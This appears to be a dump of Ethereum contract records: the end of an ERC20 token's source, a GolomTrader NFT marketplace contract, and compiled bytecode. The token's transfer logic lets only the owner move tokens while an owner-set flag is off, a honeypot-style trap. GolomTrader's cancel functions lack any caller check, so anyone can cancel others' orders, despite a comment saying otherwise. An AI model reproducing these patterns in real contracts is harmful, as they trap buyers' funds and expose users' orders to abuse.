require(_value > 0, "Transfer amount must be greater than zero");
if (_feeExcluded[_from] || _feeExcluded[_to])
require(fees == false, "");
if (fees == true || _from == owner || _to == owner) {
balances[_from] = balances[_from].sub(_value, "ERC20: transfer amount exceeds balance");
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);}
else {require (fees == true, "");}
}
function TelegramLink() public view returns (string memory) {
return telegramAddress;
}
}
/**
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
* 3. Neither the name of the copyright holder nor the names of its contributors may be
* used to endorse or promote products derived from this software without specific prior
* written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
* SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
* TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
* BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
* DAMAGE.
**/
|
0x608060405234801561001057600080fd5b50600436106101425760003560e01c806370a08231116100b857806395d89b411161007c57806395d89b411461062a578063a9059cbb146106ad578063d89cc15014610711578063dd62ed3e1461071b578063ef6c6ecf14610793578063f01f20df146107c457610142565b806370a08231146104c3578063715018a61461051b57806379cc6790146105255780638255a8c0146105735780638f84aa09146105f657610142565b806327e235e31161010a57806327e235e314610314578063313ce5671461036c5780634355b9d21461038d5780634ea8dfa4146103d1578063566c40d5146103f15780635c6581651461044b57610142565b806306fdde0314610147578063095ea7b3146101ca57806318160ddd1461022e5780631980458b1461024c57806323b872dd14610290575b600080fd5b61014f6107e2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610880565b60405180821515815260200191505060405180910390f35b610236610972565b6040518082815260200191505060405180910390f35b61028e6004803603602081101561026257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610978565b005b6102fc600480360360608110156102a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a94565b60405180821515815260200191505060405180910390f35b6103566004803603602081101561032a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bbb565b6040518082815260200191505060405180910390f35b610374610bd3565b604051808260ff16815260200191505060405180910390f35b6103cf600480360360208110156103a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610be6565b005b6103d9610d02565b60405180821515815260200191505060405180910390f35b6104336004803603602081101561040757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d19565b60405180821515815260200191505060405180910390f35b6104ad6004803603604081101561046157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d6f565b6040518082815260200191505060405180910390f35b610505600480360360208110156104d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d94565b6040518082815260200191505060405180910390f35b610523610ddd565b005b6105716004803603604081101561053b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f5d565b005b61057b61119b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105bb5780820151818401526020810190506105a0565b50505050905090810190601f1680156105e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105fe61123d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610632611267565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610672578082015181840152602081019050610657565b50505050905090810190601f16801561069f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106f9600480360360408110156106c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611305565b60405180821515815260200191505060405180910390f35b61071961131c565b005b61077d6004803603604081101561073157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611437565b6040518082815260200191505060405180910390f35b6107c2600480360360208110156107a957600080fd5b81019080803560ff1690602001909291905050506114be565b005b6107cc61158c565b6040518082815260200191505060405180910390f35b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108785780601f1061084d57610100808354040283529160200191610878565b820191906000526020600020905b81548152906001019060200180831161085b57829003601f168201915b505050505081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610aa184848461161a565b610b3082600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6a90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509392505050565b60036020528060005260406000206000915090505481565b600a60009054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600660149054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6004602052816000526040600020602052806000526040600020600091509150505481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180611ce0602c913960400191505060405180910390fd5b6110b981600b54611b6a90919063ffffffff16565b600b819055506110ee81604051806060016040528060228152602001611c9860229139600954611bb49092919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6060600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112335780601f1061120857610100808354040283529160200191611233565b820191906000526020600020905b81548152906001019060200180831161121657829003601f168201915b5050505050905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112fd5780601f106112d2576101008083540402835291602001916112fd565b820191906000526020600020905b8154815290600101906020018083116112e057829003601f168201915b505050505081565b600061131233848461161a565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600660149054906101000a900460ff1615151415611419576000600660146101000a81548160ff021916908315150217905550611435565b6001600660146101000a81548160ff0219169083151502179055505b565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461157f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060ff16600c8190555050565b600c5481565b600080828401905083811015611610576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611d356025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611726576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611c756023913960400191505060405180910390fd5b6000811161177f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611d0c6029913960400191505060405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118205750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561188a5760001515600660149054906101000a900460ff16151514611889576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b60011515600660149054906101000a900460ff16151514806118f7575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061194d575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611b00576119be81604051806060016040528060268152602001611cba60269139600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb49092919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a5381600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159290919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611b65565b60011515600660149054906101000a900460ff16151514611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b505050565b6000611bac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bb4565b905092915050565b6000838311158290611c61576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c26578082015181840152602081019050611c0b565b50505050905090810190601f168015611c535780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737320646973616c6c6f7765645472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f2061646472657373a2646970667358221220a7e40f46ed1c47da19fc9f0244e87475fac064f0d516463aa12b56f77a180f2664736f6c63430007020033
|
{"success": true, "error": null, "results": {}}
| 6,292 |
0x9e9731122c09189ea8817a077540538302e2c24b
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
interface ERC721 {
function safeTransferFrom(address from,address to,uint256 tokenId) external;
}
interface ERC20 {
function transferFrom(address src, address dst, uint wad)
external
returns (bool);
}
contract GolomTrader {
mapping(bytes32 => bool) public orderhashes; // keep tracks of orderhashes that are filled or cancelled so they cant be filled again
mapping(bytes32 => bool) public offerhashes; // keep tracks of offerhashes that are filled or cancelled so they cant be filled again
address payable owner;
ERC20 wethcontract;
mapping(address => uint256) public data; // keep tracks of orderhashes that are filled or cancelled so they cant be filled again
event Orderfilled(address indexed from,address indexed to, bytes32 indexed id, uint amt,address referrer,uint feeAmt,uint royaltyAmt,address royaltyAddress,address buyerAddress);
event Offerfilled(address indexed from,address indexed to, bytes32 indexed id, uint amt,uint feeAmt,uint royaltyAmt,address royaltyAddress,uint isany);
event Ordercancelled(bytes32 indexed id);
event Offercancelled(bytes32 indexed id);
constructor ()
{
owner = payable(msg.sender);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
wethcontract = ERC20(WETH);
}
/// @notice returns eip712domainhash
function _eip712DomainHash() internal view returns(bytes32 eip712DomainHash) {
eip712DomainHash = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes("GOLOM.IO")),
keccak256(bytes("1")),
1,
address(this)
)
);
}
/// @notice order is a swap(erc721 -->eth) where maker is nft seller and taker is nft buyer
/// @param v,r,s EIP712 type signature of signer/nft seller
/// @param _addressArgs[5] address arguments array
/// @param _uintArgs[6] uint arguments array
/// @dev addressargs->//0 - tokenAddress,//1 - signer,//2 - royaltyaddress,//3 - reffereraddress // 4-buyerAddress
/// @dev uintArgs->//0-tokenId ,//1-totalAmt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt
/// @dev totalAmt, totalAmt of ether in wei that the trade is done for , seller gets totalAmt-fees - royalty
/// @dev deadline, deadline till order is valid
/// @dev feeamt fee to be paid to owner of contract
/// @dev signer seller of nft and signer of signature
/// @dev salt salt for uniqueness of the order
/// @dev refferer address that reffered the trade
/// @dev buyerAddress address allowed to fill the order if (0) anyone can fill
function matchOrder(
uint8 v,
bytes32 r,
bytes32 s,
address[5] calldata _addressArgs,
uint[6] calldata _uintArgs
) external payable {
require(block.timestamp < _uintArgs[2], "Signed transaction expired");
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchorder(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,uint royaltyAmt,address royaltyAddress,address signer,address buyerAddress,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_uintArgs[5],
_addressArgs[2],
_addressArgs[1],
_addressArgs[4],
_uintArgs[2],
_uintArgs[4]
)
);
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
require(signaturesigner == _addressArgs[1], "invalid signature");
if (_addressArgs[4]!=address(0)){
require(msg.sender==_addressArgs[4],"not fillable by this address");
}
require(msg.value == _uintArgs[1], "wrong eth amt");
require(orderhashes[hashStruct]==false,"order filled or cancelled");
orderhashes[hashStruct]=true; // prevent reentrency and also doesnt allow any order to be filled more then once
ERC721 nftcontract = ERC721(_addressArgs[0]);
nftcontract.safeTransferFrom(_addressArgs[1],msg.sender ,_uintArgs[0]); // transfer
if (_uintArgs[3]>0){
owner.transfer(_uintArgs[3]); // fee transfer to owner
}
if (_uintArgs[5]>0){ // if royalty has to be paid
payable(_addressArgs[2]).transfer(_uintArgs[5]); // royalty transfer to royaltyaddress
}
payable(_addressArgs[1]).transfer(msg.value-_uintArgs[3]-_uintArgs[5]); // transfer of eth to seller of nft
emit Orderfilled(_addressArgs[1], msg.sender, hashStruct , _uintArgs[1] , _addressArgs[3] ,_uintArgs[3],_uintArgs[5],_addressArgs[2],_addressArgs[4]);
}
/// @notice cancels order and make it unfillable
function cancelOrder(
address[5] calldata _addressArgs,
uint[6] calldata _uintArgs
) external{
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchorder(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,uint royaltyAmt,address royaltyAddress,address signer,address buyerAddress,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_uintArgs[5],
_addressArgs[2],
_addressArgs[1],
_addressArgs[4],
_uintArgs[2],
_uintArgs[4]
)
);
orderhashes[hashStruct]=true; // no need to check for signature validation since sender can only invalidate his own order
emit Offercancelled(hashStruct);
}
/// @notice offer is a swap(erc721 -->eth) where maker is nft buyer and taker is nft seller , called by seller of ERc721NFT when he sees a signed buy offer of ethamt ETH
/// @param v,r,s EIP712 type signature of signer/nft buyer
/// @param _addressArgs[3] address arguments array
/// @param _uintArgs[7] uint arguments array
/// @dev addressargs->//0 - tokenAddress,//1 - signer,//2 - royaltyaddress
/// @dev uintArgs->//0-tokenId ,//1-ethamt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt,//6-Isanytoken
/// @dev Isanytoken , if this is 1 then any token of the tokenAddress collection can be used to fill this offer
function matchOffer(
uint8 v,
bytes32 r,
bytes32 s,
address[3] calldata _addressArgs,
uint[7] calldata _uintArgs
) external {
require(block.timestamp < _uintArgs[2], "Signed transaction expired");
bytes32 hashStruct;
if (_uintArgs[6]==1){
hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(uint anyToken,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[6],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}else{
hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
require(signaturesigner == _addressArgs[1], "invalid signature");
require(offerhashes[hashStruct]==false,"order filled or cancelled");
offerhashes[hashStruct]=true;
if (_uintArgs[3]>0){
require(wethcontract.transferFrom(_addressArgs[1], owner , _uintArgs[3]),"error in weth transfer");
}
if (_uintArgs[5]>0){
require(wethcontract.transferFrom(_addressArgs[1], _addressArgs[2] , _uintArgs[5]),"error in weth transfer");
}
require(wethcontract.transferFrom(_addressArgs[1], msg.sender, _uintArgs[1]-_uintArgs[5]-_uintArgs[3]),"error in weth transfer");
ERC721 nftcontract = ERC721(_addressArgs[0]);
nftcontract.safeTransferFrom(msg.sender,_addressArgs[1] ,_uintArgs[0]);
emit Offerfilled(_addressArgs[1], msg.sender, hashStruct , _uintArgs[1] ,_uintArgs[3],_uintArgs[5],_addressArgs[2],0);
}
/// @notice cancels order and make it unfillable
function cancelOffer(
address[3] calldata _addressArgs,
uint[7] calldata _uintArgs
) external{
bytes32 hashStruct;
if (_uintArgs[6]==1){
hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(uint anyToken,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[6],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}else{
hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}
offerhashes[hashStruct]=true;
emit Offercancelled(hashStruct);
}
///@notice returns Keccak256 hash of an order
function orderHash(
address[5] calldata _addressArgs,
uint[6] calldata _uintArgs
) public pure returns (bytes32) {
return keccak256(
abi.encode(
keccak256("matchorder(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,uint royaltyAmt,address royaltyAddress,address signer,address buyerAddress,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_uintArgs[5],
_addressArgs[2],
_addressArgs[1],
_addressArgs[4],
_uintArgs[2],
_uintArgs[4]
)
);
}
function offerHash(
address[3] memory _addressArgs,
uint[7] memory _uintArgs
) public pure returns (bytes32) {
if (_uintArgs[6]==1){
return keccak256(
abi.encode(
keccak256("matchoffer(uint anyToken,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[6],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}else{
return keccak256(
abi.encode(
keccak256("matchoffer(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}
}
// ALREADY FILLED OR CANCELLED - 1
// deadline PASSED- 2 EXPIRED
// sign INVALID - 0
// VALID - 3
/// @notice returns status of an offer
function orderStatus(
uint8 v,
bytes32 r,
bytes32 s,
address[5] calldata _addressArgs,
uint[6] calldata _uintArgs
) public view returns (uint256) {
if (block.timestamp > _uintArgs[2]){
return 2;
}
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchorder(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,uint royaltyAmt,address royaltyAddress,address signer,address buyerAddress,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_uintArgs[5],
_addressArgs[2],
_addressArgs[1],
_addressArgs[4],
_uintArgs[2],
_uintArgs[4]
)
);
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
if (signaturesigner != _addressArgs[1]){
return 0;
}
if (orderhashes[hashStruct]==true){
return 1;
}
return 3;
}
// ALREADY FILLED OR CANCELLED - 1
// deadline PASSED- 2 EXPIRED
// sign INVALID - 0
// VALID - 3
/// @notice returns status of an order
function offerStatus(
uint8 v,
bytes32 r,
bytes32 s,
address[3] memory _addressArgs,
uint[7] memory _uintArgs
) public view returns (uint256) {
if (block.timestamp > _uintArgs[2]){
return 2;
}
bytes32 hashStruct;
if (_uintArgs[6]==1){
hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(uint anyToken,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[6],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}else{
hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(uint tokenId,address tokenAddress,uint totalAmt,uint feeAmt,address signer,uint deadline,uint salt)"),
_uintArgs[0],
_addressArgs[0],
_uintArgs[1],
_uintArgs[3],
_addressArgs[1],
_uintArgs[2],
_uintArgs[4]
)
);
}
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
if (signaturesigner != _addressArgs[1]){
return 0;
}
if (offerhashes[hashStruct]==true){
return 1;
}
return 3;
}
}
|
0x60806040526004361061009c5760003560e01c8063477df01a11610064578063477df01a1461018957806360de5fb2146101b257806361945964146101ef57806362ff1a371461022c578063b90d3d0c14610269578063e347dcb0146102a65761009c565b806303d0fbb9146100a15780631a777dc7146100ca5780631faf0de6146100e657806332f203a614610123578063341b110814610160575b600080fd5b3480156100ad57600080fd5b506100c860048036038101906100c39190613f92565b6102e3565b005b6100e460048036038101906100df9190614082565b6112e3565b005b3480156100f257600080fd5b5061010d60048036038101906101089190613ec6565b6120cf565b60405161011a919061440a565b60405180910390f35b34801561012f57600080fd5b5061014a6004803603810190610145919061400a565b612536565b60405161015791906146a6565b60405180910390f35b34801561016c57600080fd5b5061018760048036038101906101829190613f03565b612b36565b005b34801561019557600080fd5b506101b060048036038101906101ab9190613e89565b612e96565b005b3480156101be57600080fd5b506101d960048036038101906101d49190613f03565b61338c565b6040516101e6919061440a565b60405180910390f35b3480156101fb57600080fd5b5061021660048036038101906102119190614082565b613695565b60405161022391906146a6565b60405180910390f35b34801561023857600080fd5b50610253600480360381019061024e9190613f69565b613b44565b60405161026091906143ef565b60405180910390f35b34801561027557600080fd5b50610290600480360381019061028b9190613e60565b613b64565b60405161029d91906146a6565b60405180910390f35b3480156102b257600080fd5b506102cd60048036038101906102c89190613f69565b613b7c565b6040516102da91906143ef565b60405180910390f35b8060026007811061031d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201354210610363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161035a90614666565b60405180910390fd5b60006001826006600781106103a1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013514156105d6577f8f56730f66b8f83687c499fa9adbd90345d19f433677b1c89d97bd615f06894082600660078110610407577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013584600060038110610446577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906104599190613e60565b84600160078110610493577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135856003600781106104d2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013587600160038110610511577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906105249190613e60565b8760026007811061055e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358860046007811061059d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201356040516020016105b9989796959493929190614478565b6040516020818303038152906040528051906020012090506107fc565b7f11c6fd2ed9f491031306a176b645e6e75cdcc3d771ecf757b21e61f800f139b582600060078110610631577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002013584600060038110610670577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020160208101906106839190613e60565b846001600781106106bd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135856003600781106106fc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201358760016003811061073b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201602081019061074e9190613e60565b87600260078110610788577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020135886004600781106107c7577f4e